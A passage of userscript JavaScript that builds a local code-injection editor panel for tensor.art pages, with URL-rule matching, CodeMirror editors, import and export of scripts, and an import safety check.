    };

    const matchMode = document.createElement('select');
    matchMode.style.cssText = `padding:8px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; font-size:12px;`;
    matchMode.innerHTML = `<option value="all">All pages (supported domains)</option><option value="rules">URL rules</option>`;
    matchMode.value = task.matchMode || 'all';
    leftBody.appendChild(mkRow('Match mode', matchMode, 'Use URL rules to run only on specific pages.'));

    const domainsWrap = document.createElement('div');
    domainsWrap.style.cssText = 'display:flex; flex-direction:column; gap:8px;';
    const domainItems = [
      { id: 'tensor.art', label: 'tensor.art' },
      { id: 'tensorhub.art', label: 'tensorhub.art' },
      { id: '*', label: 'All domains (*)' }
    ];
    const domainChecks = new Map();
    domainItems.forEach(d => {
      const row = document.createElement('label');
      row.style.cssText = 'display:flex; gap:8px; align-items:center; font-size:12px; color:' + colors.textSecondary + '; cursor:pointer;';
      const cb = document.createElement('input');
      cb.type = 'checkbox';
      cb.checked = (task.domains || []).includes(d.id);
      domainChecks.set(d.id, cb);
      row.appendChild(cb);
      row.appendChild(document.createTextNode(d.label));
      domainsWrap.appendChild(row);
    });
    leftBody.appendChild(mkRow('Domains', domainsWrap, 'Choose where this script is allowed to run.'));

    const includeTa = document.createElement('textarea');
    includeTa.rows = 4;
    includeTa.placeholder = 'One wildcard pattern per line\nExample:\nhttps://tensor.art/create*\n*generation*';
    includeTa.value = (task.include || []).join('\n');
    includeTa.style.cssText = `width:100%; padding:10px 10px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; font-size:12px; font-family: Consolas, 'Courier New', monospace; resize: vertical;`;
    leftBody.appendChild(mkRow('Include URL patterns', includeTa, 'Only used when Match mode = URL rules.'));

    const excludeTa = document.createElement('textarea');
    excludeTa.rows = 3;
    excludeTa.placeholder = 'Exclude patterns (optional)\nExample:\n*/settings*';
    excludeTa.value = (task.exclude || []).join('\n');
    excludeTa.style.cssText = `width:100%; padding:10px 10px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; font-size:12px; font-family: Consolas, 'Courier New', monospace; resize: vertical;`;
    leftBody.appendChild(mkRow('Exclude URL patterns', excludeTa, 'Exclude rules override include rules.'));

    // Lightweight "autocomplete" / quick insert for URL rules (keeps things fast and predictable)
    const ruleMenu = document.createElement('div');
    ruleMenu.style.cssText = `
      position: fixed;
      z-index: 10000080;
      display: none;
      width: 360px;
      max-width: calc(100vw - 24px);
      background: ${colors.bg};
      border: 1px solid ${colors.border};
      border-radius: 14px;
      box-shadow: 0 30px 90px rgba(0,0,0,0.75);
      overflow: hidden;
    `;
    ruleMenu.innerHTML = `
      <div style="padding:10px 12px; background:${colors.bgSecondary}; border-bottom:1px solid ${colors.border}; display:flex; align-items:center; justify-content:space-between; gap:10px;">
        <div style="font-weight:900; font-size:12px;"><i class=\"fas fa-wand-magic-sparkles\" style=\"color:${colors.primary}; margin-right:8px;\"></i>Quick URL patterns</div>
        <button class="bypass-btn bypass-btn-secondary" style="width:34px; min-width:34px; padding:6px 0;" data-close title="Close"><i class="fas fa-times"></i></button>
      </div>
      <div style="padding:10px 12px; display:flex; flex-direction:column; gap:8px; max-height: 260px; overflow:auto;" data-body></div>
      <div style="padding:10px 12px; border-top:1px solid ${colors.border}; background:${colors.bgSecondary}; font-size:11px; color:${colors.textSecondary}; line-height:1.5;">
        Click an entry to insert it as a new line at the cursor.
      </div>
    `;
    overlay.appendChild(ruleMenu);

    let ruleMenuTarget = null;
    const closeRuleMenu = () => {
      ruleMenu.style.display = 'none';
      ruleMenuTarget = null;
    };
    ruleMenu.querySelector('[data-close]').onclick = (e) => {
      e.stopPropagation();
      closeRuleMenu();
    };

    const insertLineAtCursor = (ta, line) => {
      const val = String(ta.value || '');
      const start = ta.selectionStart ?? val.length;
      const end = ta.selectionEnd ?? val.length;
      const before = val.slice(0, start);
      const after = val.slice(end);
      const needsNewlineBefore = before.length && !before.endsWith('\n');
      const needsNewlineAfter = after.length && !after.startsWith('\n');
      const insert = (needsNewlineBefore ? '\n' : '') + line + (needsNewlineAfter ? '\n' : '');
      ta.value = before + insert + after;
      const pos = (before + insert).length;
      ta.focus();
      try { ta.setSelectionRange(pos, pos); } catch { /* no-op */ }
    };

    const getSuggestedRules = () => {
      const base = location.origin;
      const host = location.host;
      const common = [
        `${base}/*`,
        `${base}/create*`,
        `${base}/models*`,
        `${base}/works*`,
        `${base}/notifications*`,
        `*generation*`,
        `*/settings*`,
        `*/login*`
      ];
      // A couple of multi-domain friendly patterns
      const extra = [
        `https://${host}/*`,
        `*://${host}/*`
      ];
      const uniq = [];
      const seen = new Set();
      [...common, ...extra].forEach(r => {
        const key = String(r).trim();
        if (!key) return;
        if (seen.has(key)) return;
        seen.add(key);
        uniq.push(key);
      });
      return uniq.slice(0, 20);
    };

    const openRuleMenu = (ta) => {
      ruleMenuTarget = ta;
      const rect = ta.getBoundingClientRect();
      const width = Math.min(420, Math.max(320, rect.width));
      ruleMenu.style.width = width + 'px';
      // Prefer below the textarea; fall back above if too low
      const desiredTop = rect.bottom + 10;
      const menuHeightGuess = 320;
      const top = (desiredTop + menuHeightGuess > window.innerHeight - 10) ? Math.max(10, rect.top - menuHeightGuess - 10) : desiredTop;
      const left = Math.min(window.innerWidth - width - 10, Math.max(10, rect.left));
      ruleMenu.style.left = left + 'px';
      ruleMenu.style.top = top + 'px';
      const bodyEl = ruleMenu.querySelector('[data-body]');
      bodyEl.innerHTML = '';
      getSuggestedRules().forEach(rule => {
        const btn = document.createElement('button');
        btn.className = 'bypass-btn bypass-btn-secondary';
        btn.style.cssText = `width:100%; justify-content:flex-start; padding:9px 10px; font-size:11px; text-transform:none; letter-spacing:0; border-radius:12px;`;
        btn.innerHTML = `<i class="fas fa-plus" style="color:${colors.primary};"></i><span style="font-family:Consolas, 'Courier New', monospace; word-break:break-all;">${escapeHtml(rule)}</span>`;
        btn.onclick = (e) => {
          e.stopPropagation();
          if (!ruleMenuTarget) return;
          insertLineAtCursor(ruleMenuTarget, rule);
          refreshTest();
          showToast('Rule inserted', 'success');
        };
        bodyEl.appendChild(btn);
      });
      ruleMenu.style.display = 'block';
    };

    const attachRuleAutocomplete = (ta) => {
      ta.addEventListener('focus', () => openRuleMenu(ta));
      ta.addEventListener('click', (e) => {
        e.stopPropagation();
        openRuleMenu(ta);
      });
    };
    attachRuleAutocomplete(includeTa);
    attachRuleAutocomplete(excludeTa);

    overlay.addEventListener('click', (e) => {
      // Close menu when clicking outside it
      if (ruleMenu.style.display === 'block' && !ruleMenu.contains(e.target)) {
        closeRuleMenu();
      }
    });

    ruleMenuResizeHandler = () => {
      if (ruleMenuTarget && ruleMenu.style.display === 'block') openRuleMenu(ruleMenuTarget);
    };
    window.addEventListener('resize', ruleMenuResizeHandler);

    const runAt = document.createElement('select');
    runAt.style.cssText = `padding:8px 10px; border-radius:10px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; color:${colors.text}; font-size:12px;`;
    runAt.innerHTML = `<option value="domcontentloaded">Run at DOMContentLoaded</option><option value="idle">Run after page idle</option>`;
    runAt.value = task.runAt || 'idle';
    leftBody.appendChild(mkRow('Run timing', runAt, 'Idle is safer for pages that build UI asynchronously.'));

    const test = document.createElement('div');
    test.style.cssText = `padding:10px 12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary}; font-size:11px; color:${colors.textSecondary}; line-height:1.6;`;
    const refreshTest = () => {
      const domains = [];
      domainChecks.forEach((cb, id) => { if (cb.checked) domains.push(id); });
      const probe = normalizeDevInjectTask({
        ...task,
        domains,
        matchMode: matchMode.value,
        include: includeTa.value.split(/\r?\n/).map(s => s.trim()).filter(Boolean),
        exclude: excludeTa.value.split(/\r?\n/).map(s => s.trim()).filter(Boolean)
      });
      const ok = doesInjectTaskMatchUrl(probe, location.href);
      test.innerHTML = `<div style="font-weight:800; color:${ok ? colors.success : colors.error};"><i class="fas ${ok ? 'fa-circle-check' : 'fa-circle-xmark'}"></i> Match test: ${ok ? 'MATCHES current URL' : 'does NOT match current URL'}</div><div style="margin-top:6px; font-family:Consolas, 'Courier New', monospace; opacity:0.9;">${escapeHtml(location.href)}</div>`;
    };
    refreshTest();
    [matchMode, includeTa, excludeTa].forEach(el => el.addEventListener('input', refreshTest));
    domainChecks.forEach(cb => cb.addEventListener('change', refreshTest));
    leftBody.appendChild(test);

    left.appendChild(leftHeader);
    left.appendChild(leftBody);

    const center = document.createElement('div');
    center.style.cssText = 'flex:1; min-width:0; display:flex; flex-direction:column;';

    const tabs = document.createElement('div');
    tabs.style.cssText = `display:flex; gap:8px; align-items:center; padding:10px 12px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary};`;
    const mkCodeTab = (id, label, icon) => {
      const b = document.createElement('button');
      b.className = 'bypass-btn bypass-btn-secondary';
      b.style.cssText = `width:auto; padding:8px 10px; font-size:11px; border:${id === activeCodeTab ? '1px solid rgba(99,102,241,0.9)' : ''};`;
      b.innerHTML = `<i class="fas ${icon}"></i> ${label}`;
      b.onclick = () => {
        activeCodeTab = id;
        refreshEditorsVisibility();
      };
      return b;
    };
    const jsBtn = mkCodeTab('js', 'JavaScript', 'fa-js');
    const cssBtn = mkCodeTab('css', 'CSS', 'fa-paintbrush');
    const htmlBtn = mkCodeTab('html', 'HTML', 'fa-code');
    tabs.appendChild(jsBtn);
    tabs.appendChild(cssBtn);
    tabs.appendChild(htmlBtn);

    const status = document.createElement('div');
    status.style.cssText = `margin-left:auto; font-size:11px; color:${colors.textSecondary}; display:flex; gap:8px; align-items:center;`;
    status.innerHTML = '<i class="fas fa-bolt"></i> Ready';
    tabs.appendChild(status);

    const editorHost = document.createElement('div');
    editorHost.style.cssText = `flex:1; min-height:0; display:flex; flex-direction:column; background:${colors.bg};`;

    const mkTA = () => {
      const ta = document.createElement('textarea');
      ta.spellcheck = false;
      ta.style.cssText = `flex:1; width:100%; min-height:0; border:none; outline:none; resize:none; padding:12px; background:${colors.bg}; color:${colors.text}; font-size:12px; font-family:Consolas, 'Courier New', monospace; line-height:1.55;`;
      return ta;
    };
    const jsTA = mkTA();
    const cssTA = mkTA();
    const htmlTA = mkTA();
    jsTA.value = state.js;
    cssTA.value = state.css;
    htmlTA.value = state.html;
    editorHost.appendChild(jsTA);
    editorHost.appendChild(cssTA);
    editorHost.appendChild(htmlTA);

    const footer = document.createElement('div');
    footer.style.cssText = `display:flex; gap:10px; justify-content:space-between; align-items:center; padding:10px 12px; border-top:1px solid ${colors.border}; background:${colors.bgSecondary};`;

    const leftFooter = document.createElement('div');
    leftFooter.style.cssText = `font-size:11px; color:${colors.textSecondary}; display:flex; gap:8px; align-items:center;`;
    leftFooter.innerHTML = '<i class="fas fa-circle-info"></i> Tip: Use URL rules to keep scripts scoped.';

    const rightFooter = document.createElement('div');
    rightFooter.style.cssText = 'display:flex; gap:8px; align-items:center;';

    const saveBtn = document.createElement('button');
    saveBtn.className = 'bypass-btn bypass-btn-primary';
    saveBtn.style.cssText = 'width:auto; padding:10px 14px; font-size:12px; font-weight:800;';
    saveBtn.innerHTML = '<i class="fas fa-save"></i> Save';

    const runNowBtn = document.createElement('button');
    runNowBtn.className = 'bypass-btn bypass-btn-secondary';
    runNowBtn.style.cssText = 'width:auto; padding:10px 14px; font-size:12px;';
    runNowBtn.innerHTML = '<i class="fas fa-play"></i> Run now';

    rightFooter.appendChild(runNowBtn);
    rightFooter.appendChild(saveBtn);
    footer.appendChild(leftFooter);
    footer.appendChild(rightFooter);

    const outline = document.createElement('div');
    outline.style.cssText = `width: 280px; border-left:1px solid ${colors.border}; background:${colors.bg}; min-height:0; display:flex; flex-direction:column;`;
    const outlineHeader = document.createElement('div');
    outlineHeader.style.cssText = `padding:10px 12px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary}; font-weight:800; font-size:12px;`;
    outlineHeader.innerHTML = '<i class="fas fa-sitemap"></i> Outline';
    const outlineBody = document.createElement('div');
    outlineBody.style.cssText = 'padding:10px 10px; overflow:auto; display:flex; flex-direction:column; gap:6px;';
    outline.appendChild(outlineHeader);
    outline.appendChild(outlineBody);

    const refreshOutline = () => {
      outlineBody.innerHTML = '';
      const items = buildJsOutline(state.js);
      if (!items.length) {
        const e = document.createElement('div');
        e.style.cssText = `font-size:11px; color:${colors.textSecondary};`;
        e.textContent = 'No symbols found (or parser unavailable).';
        outlineBody.appendChild(e);
        return;
      }
      items.forEach(it => {
        const row = document.createElement('button');
        row.className = 'bypass-btn bypass-btn-secondary';
        row.style.cssText = 'width:100%; justify-content:flex-start; padding:8px 10px; font-size:11px; gap:8px;';
        const icon = it.type === 'class' ? 'fa-cube' : it.type === 'function' ? 'fa-function' : 'fa-tag';
        row.innerHTML = `<i class="fas ${icon}" style="color:${colors.primary};"></i><span style="flex:1; text-align:left; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">${escapeHtml(it.name)}</span><span style="color:${colors.textSecondary}; font-family:Consolas, 'Courier New', monospace;">L${it.line}</span>`;
        row.onclick = () => {
          // Jump to line (best-effort)
          try {
            if (jsEditor && typeof jsEditor.setCursor === 'function') {
              jsEditor.focus();
              jsEditor.setCursor({ line: Math.max(0, (it.line || 1) - 1), ch: 0 });
              jsEditor.scrollIntoView({ line: Math.max(0, (it.line || 1) - 1), ch: 0 }, 120);
            } else {
              // Fallback: scroll textarea roughly
              activeCodeTab = 'js';
              refreshEditorsVisibility();
              const lines = jsTA.value.split(/\r?\n/);
              const pos = Math.max(0, Math.min(lines.length - 1, (it.line || 1) - 1));
              const before = lines.slice(0, pos).join('\n').length;
              jsTA.focus();
              jsTA.setSelectionRange(before, before);
            }
          } catch {
            // no-op
          }
        };
        outlineBody.appendChild(row);
      });
    };

    let jsEditor = null;
    let cssEditor = null;
    let htmlEditor = null;
    let jsErrorLine = null;

    const setStatus = (html) => {
      status.innerHTML = html;
    };

    const clearJsErrorHighlight = () => {
      try {
        if (jsEditor && jsErrorLine != null) {
          jsEditor.removeLineClass(jsErrorLine, 'background', 'bypass-code-error-line');
          jsErrorLine = null;
        }
      } catch {
        // no-op
      }
    };

    const markJsErrorHighlight = (line) => {
      try {
        if (jsEditor && typeof line === 'number' && line >= 0) {
          clearJsErrorHighlight();
          jsErrorLine = line;
          jsEditor.addLineClass(line, 'background', 'bypass-code-error-line');
        }
      } catch {
        // no-op
      }
    };

    const validateJs = () => {
      const err = tryParseJsForError(state.js);
      if (!err) {
        clearJsErrorHighlight();
        setStatus('<i class="fas fa-circle-check" style="color:#10b981;"></i> JS OK');
        return;
      }
      const where = (err.line != null) ? `L${err.line}${err.column != null ? ':' + err.column : ''}` : 'unknown';
      setStatus(`<i class="fas fa-triangle-exclamation" style="color:#ef4444;"></i> JS error @ ${escapeHtml(where)} • ${escapeHtml(err.message)}`);
      if (err.line != null) markJsErrorHighlight(Math.max(0, err.line - 1));
    };

    const scheduleValidate = () => {
      if (validateTimer) clearTimeout(validateTimer);
      validateTimer = setTimeout(() => {
        validateJs();
        refreshOutline();
      }, 250);
    };

    const refreshEditorsVisibility = () => {
      // Update button styles
      [jsBtn, cssBtn, htmlBtn].forEach(b => b.classList.remove('bypass-btn-primary'));
      jsBtn.className = 'bypass-btn ' + (activeCodeTab === 'js' ? 'bypass-btn-primary' : 'bypass-btn-secondary');
      cssBtn.className = 'bypass-btn ' + (activeCodeTab === 'css' ? 'bypass-btn-primary' : 'bypass-btn-secondary');
      htmlBtn.className = 'bypass-btn ' + (activeCodeTab === 'html' ? 'bypass-btn-primary' : 'bypass-btn-secondary');
      jsBtn.style.width = cssBtn.style.width = htmlBtn.style.width = 'auto';
      jsBtn.style.padding = cssBtn.style.padding = htmlBtn.style.padding = '8px 10px';
      jsBtn.style.fontSize = cssBtn.style.fontSize = htmlBtn.style.fontSize = '11px';

      // Show/hide
      const show = (ta, id) => { ta.style.display = activeCodeTab === id ? 'block' : 'none'; };
      show(jsTA, 'js');
      show(cssTA, 'css');
      show(htmlTA, 'html');
      if (jsEditor) jsEditor.getWrapperElement().style.display = activeCodeTab === 'js' ? 'block' : 'none';
      if (cssEditor) cssEditor.getWrapperElement().style.display = activeCodeTab === 'css' ? 'block' : 'none';
      if (htmlEditor) htmlEditor.getWrapperElement().style.display = activeCodeTab === 'html' ? 'block' : 'none';
    };

    jsTA.addEventListener('input', () => { state.js = jsTA.value; scheduleValidate(); });
    cssTA.addEventListener('input', () => { state.css = cssTA.value; });
    htmlTA.addEventListener('input', () => { state.html = htmlTA.value; });

    const doSave = () => {
      const domains = [];
      domainChecks.forEach((cb, id) => { if (cb.checked) domains.push(id); });
      if (!domains.length) domains.push(location.hostname);

      const patch = {
        enabled: !!enabledInput.checked,
        matchMode: matchMode.value,
        runAt: runAt.value,
        domains,
        include: includeTa.value.split(/\r?\n/).map(s => s.trim()).filter(Boolean),
        exclude: excludeTa.value.split(/\r?\n/).map(s => s.trim()).filter(Boolean),
        code: {
          js: jsEditor ? jsEditor.getValue() : state.js,
          css: cssEditor ? cssEditor.getValue() : state.css,
          html: htmlEditor ? htmlEditor.getValue() : state.html
        }
      };
      updateDevInjectTask(taskId, patch);
      showToast('Inject task saved', 'success');
      devLog('inject', `Saved inject task "${task.name}"`, { taskId }, 'info', 'developer');
    };

    saveBtn.onclick = () => {
      doSave();
      updateUI();
    };

    runNowBtn.onclick = () => {
      doSave();
      const refreshed = loadDevInjectTasks().find(t => t.id === taskId);
      if (refreshed) {
        try {
          executeInjectTask(refreshed, 'run-now');
          showToast('Executed inject task (Run now)', 'success');
        } catch (err) {
          showToast(`Execution failed: ${err?.message || err}`, 'error');
        }
      }
    };

    center.appendChild(tabs);
    center.appendChild(editorHost);
    center.appendChild(footer);

    body.appendChild(left);
    body.appendChild(center);
    body.appendChild(outline);

    overlay.appendChild(header);
    overlay.appendChild(body);
    document.body.appendChild(overlay);

    overlay.addEventListener('click', (e) => { if (e.target === overlay) close(); });
    refreshEditorsVisibility();

    // Load parsers / editors (best-effort)
    Promise.all([ensureAcorn(), ensureCodeMirror()]).then(([hasAcorn, hasCM]) => {
      if (hasAcorn) {
        validateJs();
        refreshOutline();
      }
      if (!hasCM) return;

      try {
        // Upgrade textareas to CodeMirror
        const cmTheme = settings.theme === 'dark' ? 'material-darker' : 'default';
        jsEditor = window.CodeMirror.fromTextArea(jsTA, { mode: 'javascript', theme: cmTheme, lineNumbers: true, tabSize: 2, indentUnit: 2, viewportMargin: Infinity });
        cssEditor = window.CodeMirror.fromTextArea(cssTA, { mode: 'css', theme: cmTheme, lineNumbers: true, tabSize: 2, indentUnit: 2, viewportMargin: Infinity });
        htmlEditor = window.CodeMirror.fromTextArea(htmlTA, { mode: 'htmlmixed', theme: cmTheme, lineNumbers: true, tabSize: 2, indentUnit: 2, viewportMargin: Infinity });
        jsEditor.setSize('100%', '100%');
        cssEditor.setSize('100%', '100%');
        htmlEditor.setSize('100%', '100%');
        jsEditor.on('change', () => { state.js = jsEditor.getValue(); scheduleValidate(); });
        cssEditor.on('change', () => { state.css = cssEditor.getValue(); });
        htmlEditor.on('change', () => { state.html = htmlEditor.getValue(); });

        refreshEditorsVisibility();
      } catch (err) {
        if (domInjectDebug) console.warn('[InjectEditor] Failed initializing CodeMirror:', err);
      }
    });
  }

  function createDevelopersInjectContent() {
    const wrap = document.createElement('div');
    wrap.style.cssText = 'display:flex; flex-direction:column; gap:12px; padding:12px;';
    const colors = getThemeColors();

    const note = document.createElement('div');
    note.style.cssText = `
      padding: 14px;
      border-radius: 12px;
      border: 2px solid ${colors.error};
      background: rgba(239, 68, 68, 0.08);
      color: ${colors.text};
      line-height: 1.6;
      font-size: 12px;
    `;
    note.innerHTML = `
      <div style="font-weight:900; color:${colors.error}; display:flex; gap:10px; align-items:center; margin-bottom:6px;">
        <i class="fas fa-triangle-exclamation"></i>
        <span>Danger Zone: Code Injection</span>
      </div>
      <div style="color:${colors.textSecondary};">
        This can execute custom JavaScript/HTML/CSS on pages you visit. If someone asks you to paste code here, <strong>don’t</strong> — only do it if you fully understand what you’re doing.
      </div>
    `;
    wrap.appendChild(note);

    const headerRow = document.createElement('div');
    headerRow.style.cssText = `display:flex; gap:10px; align-items:center; justify-content:space-between; padding:12px; border:1px solid ${colors.border}; border-radius:12px; background:${colors.bgSecondary};`;
    headerRow.innerHTML = `
      <div style="display:flex; flex-direction:column; gap:4px;">
        <div style="font-weight:900; color:${colors.text};"><i class="fas fa-syringe"></i> Scripts</div>
        <div style="font-size:11px; color:${colors.textSecondary};">Create small, scoped scripts with URL rules. Stored locally.</div>
      </div>
      <div style="display:flex; gap:8px; align-items:center;">
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 10px; font-size:11px;" data-import><i class="fas fa-file-import"></i> Import</button>
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 10px; font-size:11px;" data-export><i class="fas fa-file-export"></i> Export</button>
        <button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 10px; font-size:11px;" data-templates><i class="fas fa-layer-group"></i> Templates</button>
        <button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px; font-size:11px; font-weight:900;" data-add><i class="fas fa-plus"></i></button>
      </div>
    `;
    wrap.appendChild(headerRow);

    const list = document.createElement('div');
    list.style.cssText = 'display:flex; flex-direction:column; gap:10px;';
    wrap.appendChild(list);

    const render = () => {
      list.innerHTML = '';
      const tasks = loadDevInjectTasks().sort((a, b) => String(b.updatedAt).localeCompare(String(a.updatedAt)));
      if (!tasks.length) {
        const empty = document.createElement('div');
        empty.style.cssText = `padding:16px; border-radius:12px; border:1px dashed ${colors.border}; background: rgba(15,23,42,0.22); color:${colors.textSecondary}; font-size:12px; line-height:1.6;`;
        empty.innerHTML = '<i class="fas fa-inbox"></i> No inject scripts yet. Click <strong>+</strong> to create one.';
        list.appendChild(empty);
        return;
      }
      for (const t of tasks) {
        const card = document.createElement('div');
        card.style.cssText = `padding:12px; border-radius:14px; border:1px solid ${t.enabled ? 'rgba(34,197,94,0.5)' : colors.border}; background:${colors.bgSecondary}; display:flex; gap:12px; align-items:flex-start;`;

        const left = document.createElement('div');
        left.style.cssText = 'display:flex; flex-direction:column; gap:8px;';
        const enabledRow = document.createElement('label');
        enabledRow.style.cssText = 'display:flex; gap:8px; align-items:center; cursor:pointer; font-size:12px; color:' + colors.textSecondary + ';';
        const cb = document.createElement('input');
        cb.type = 'checkbox';
        cb.checked = !!t.enabled;
        cb.onchange = () => {
          updateDevInjectTask(t.id, { enabled: cb.checked });
          devLog('inject', `${cb.checked ? 'Enabled' : 'Disabled'} inject task "${t.name}"`, { taskId: t.id }, 'info', 'developer');
          render();
        };
        enabledRow.appendChild(cb);
        enabledRow.appendChild(document.createTextNode('Enabled'));
        left.appendChild(enabledRow);

        const info = document.createElement('div');
        info.style.cssText = 'flex:1; min-width:0;';
        const last = t.lastErrorAt ? `<span style="color:${colors.error};">Last error</span> • ${escapeHtml(new Date(t.lastErrorAt).toLocaleString())}` : (t.lastRunAt ? `Last run • ${escapeHtml(new Date(t.lastRunAt).toLocaleString())}` : 'Never ran');
        info.innerHTML = `
          <div style="display:flex; gap:10px; align-items:center; justify-content:space-between;">
            <div style="font-weight:900; font-size:13px; color:${colors.text}; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">${escapeHtml(t.name)}</div>
            <div style="font-size:10px; color:${colors.textSecondary}; font-family:Consolas, 'Courier New', monospace;">${escapeHtml(t.id)}</div>
          </div>
          <div style="font-size:11px; color:${colors.textSecondary}; margin-top:6px; line-height:1.45;">
            ${escapeHtml(last)}
            <div style="margin-top:4px;">Mode: <strong>${escapeHtml(t.matchMode)}</strong> • Domains: <strong>${escapeHtml((t.domains || []).join(', ') || '-') }</strong> • Run: <strong>${escapeHtml(t.runAt)}</strong></div>
          </div>
          ${t.lastError ? `<div style="margin-top:8px; padding:8px 10px; border-radius:10px; border:1px solid rgba(239,68,68,0.35); background:rgba(239,68,68,0.08); color:#fca5a5; font-size:11px; white-space:pre-wrap;">${escapeHtml(t.lastError)}</div>` : ''}
        `;

        const actions = document.createElement('div');
        actions.style.cssText = 'display:flex; flex-direction:column; gap:8px; flex-shrink:0;';
        const developBtn = document.createElement('button');
        developBtn.className = 'bypass-btn bypass-btn-primary';
        developBtn.style.cssText = 'width:auto; padding:8px 12px; font-size:11px; font-weight:900;';
        developBtn.innerHTML = '<i class="fas fa-laptop-code"></i> Develop';
        developBtn.onclick = () => showInjectEditorDialog(t.id);

        const exportBtn = document.createElement('button');
        exportBtn.className = 'bypass-btn bypass-btn-secondary';
        exportBtn.style.cssText = 'width:auto; padding:8px 12px; font-size:11px;';
        exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export';
        exportBtn.onclick = () => {
          downloadJsonFile(`${sanitizeFilename(t.name || 'inject')}.inject.json`, { kind: 'bypass-inject-export', version: 1, exportedAt: new Date().toISOString(), task: t });
          devLog('inject', `Exported inject task "${t.name}"`, { taskId: t.id }, 'info', 'developer');
        };

        const delBtn = document.createElement('button');
        delBtn.className = 'bypass-btn bypass-btn-danger';
        delBtn.style.cssText = 'width:auto; padding:8px 12px; font-size:11px;';
        delBtn.innerHTML = '<i class="fas fa-trash"></i> Delete';
        delBtn.onclick = () => {
          showConfirmDialog(`Delete inject script "${t.name}"?`, () => {
            deleteDevInjectTask(t.id);
            devLog('inject', `Deleted inject task "${t.name}"`, { taskId: t.id }, 'warning', 'developer');
            render();
          });
        };

        actions.appendChild(developBtn);
        actions.appendChild(exportBtn);
        actions.appendChild(delBtn);

        card.appendChild(left);
        card.appendChild(info);
        card.appendChild(actions);
        list.appendChild(card);
      }
    };

    const addBtn = headerRow.querySelector('[data-add]');
    addBtn.onclick = () => {
      showTextInputDialog({
        title: 'Create Inject Script',
        description: 'Choose a name for this inject task. You can change rules and code later in Develop.',
        placeholder: 'My script name',
        confirmLabel: 'Create'
      }, (name) => {
        if (!name) return;
        const tasks = loadDevInjectTasks();
        const t = normalizeDevInjectTask({
          id: makeId('inject'),
          name,
          enabled: false,
          createdAt: new Date().toISOString(),
          updatedAt: new Date().toISOString(),
          runAt: 'idle',
          domains: [location.hostname],
          matchMode: 'all',
          include: [],
          exclude: ['*/settings*'],
          code: { js: '', css: '', html: '' }
        });
        tasks.push(t);
        saveDevInjectTasks(tasks);
        devLog('inject', `Created inject task "${t.name}"`, { taskId: t.id }, 'info', 'developer');
        render();
        showInjectEditorDialog(t.id);
      });
    };

    const exportAllBtn = headerRow.querySelector('[data-export]');
    exportAllBtn.onclick = () => {
      const tasks = loadDevInjectTasks();
      downloadJsonFile('bypass_inject_tasks.export.json', { kind: 'bypass-inject-export', version: 1, exportedAt: new Date().toISOString(), tasks });
      showToast(`Exported ${tasks.length} inject task(s)`, 'success');
      devLog('inject', 'Exported inject tasks bundle', { count: tasks.length }, 'info', 'developer');
    };

    const importBtn = headerRow.querySelector('[data-import]');
    importBtn.onclick = () => {
      const input = document.createElement('input');
      input.type = 'file';
      input.accept = '.json,.js,.txt';
      input.onchange = async () => {
        const file = input.files && input.files[0];
        if (!file) return;
        const text = await file.text();
        const tryJson = () => {
          try { return JSON.parse(text); } catch { return null; }
        };
        const parsed = tryJson();
        let importedTasks = [];
        let scanTarget = '';

        if (parsed && typeof parsed === 'object') {
          if (Array.isArray(parsed.tasks)) {
            importedTasks = parsed.tasks;
          } else if (parsed.task && typeof parsed.task === 'object') {
            importedTasks = [parsed.task];
          } else if (parsed.id && parsed.code) {
            importedTasks = [parsed];
          }
          scanTarget = importedTasks.map(t => `${t?.code?.js || ''}\n${t?.code?.css || ''}\n${t?.code?.html || ''}`).join('\n');
        } else {
          // Treat as raw JS bundle.
          importedTasks = [normalizeDevInjectTask({ name: file.name.replace(/\.[^.]+$/, ''), enabled: false, matchMode: 'all', domains: [location.hostname], code: { js: text, css: '', html: '' } })];
          scanTarget = text;
        }

        importedTasks = importedTasks.map(normalizeDevInjectTask).filter(Boolean);
        if (!importedTasks.length) {
          showToast('Import failed: unrecognized file format', 'error');
          return;
        }

        const hits = scanCodeForSensitiveAccess(scanTarget);
        const doImport = () => {
          const existing = loadDevInjectTasks();
          // Avoid ID collisions.
          const existingIds = new Set(existing.map(t => t.id));
          const normalized = importedTasks.map(t => {
            if (existingIds.has(t.id)) {
              t.id = makeId('inject');
            }
            return normalizeDevInjectTask(t);
          });
          saveDevInjectTasks([...existing, ...normalized]);
          showToast(`Imported ${normalized.length} inject task(s)`, 'success');
          devLog('inject', 'Imported inject task(s)', { count: normalized.length, file: file.name }, 'info', 'developer');
          render();
        };

        if (hits.length) {
          showSecurityImportDialog({
            title: 'Unsafe import detected',
            hits,
            onConfirm: doImport
          });
        } else {
          doImport();
        }
      };
      input.click();
    };

    const templatesBtn = headerRow.querySelector('[data-templates]');
    templatesBtn.onclick = () => {
      showInjectTemplatesDialog((tpl) => {
        if (!tpl) return;
        const tasks = loadDevInjectTasks();
        const t = normalizeDevInjectTask({
          id: makeId('inject'),
          name: tpl.name,
          ...deepCloneValue(tpl.defaults || {}),
          createdAt: new Date().toISOString(),
          updatedAt: new Date().toISOString()
        });
        tasks.push(t);
        saveDevInjectTasks(tasks);
        devLog('inject', `Created inject task from template "${t.name}"`, { taskId: t.id, templateId: tpl.id }, 'info', 'developer');
        render();
        showInjectEditorDialog(t.id);
      });
    };

    render();
    return wrap;
  }

  function createDevelopersLogsContent() {
    const wrap = document.createElement('div');
    wrap.style.cssText = 'display:flex; flex-direction:column; gap:12px; padding:12px;';
    const colors = getThemeColors();

    const logs = loadDeveloperLogs();

    const top = document.createElement('div');
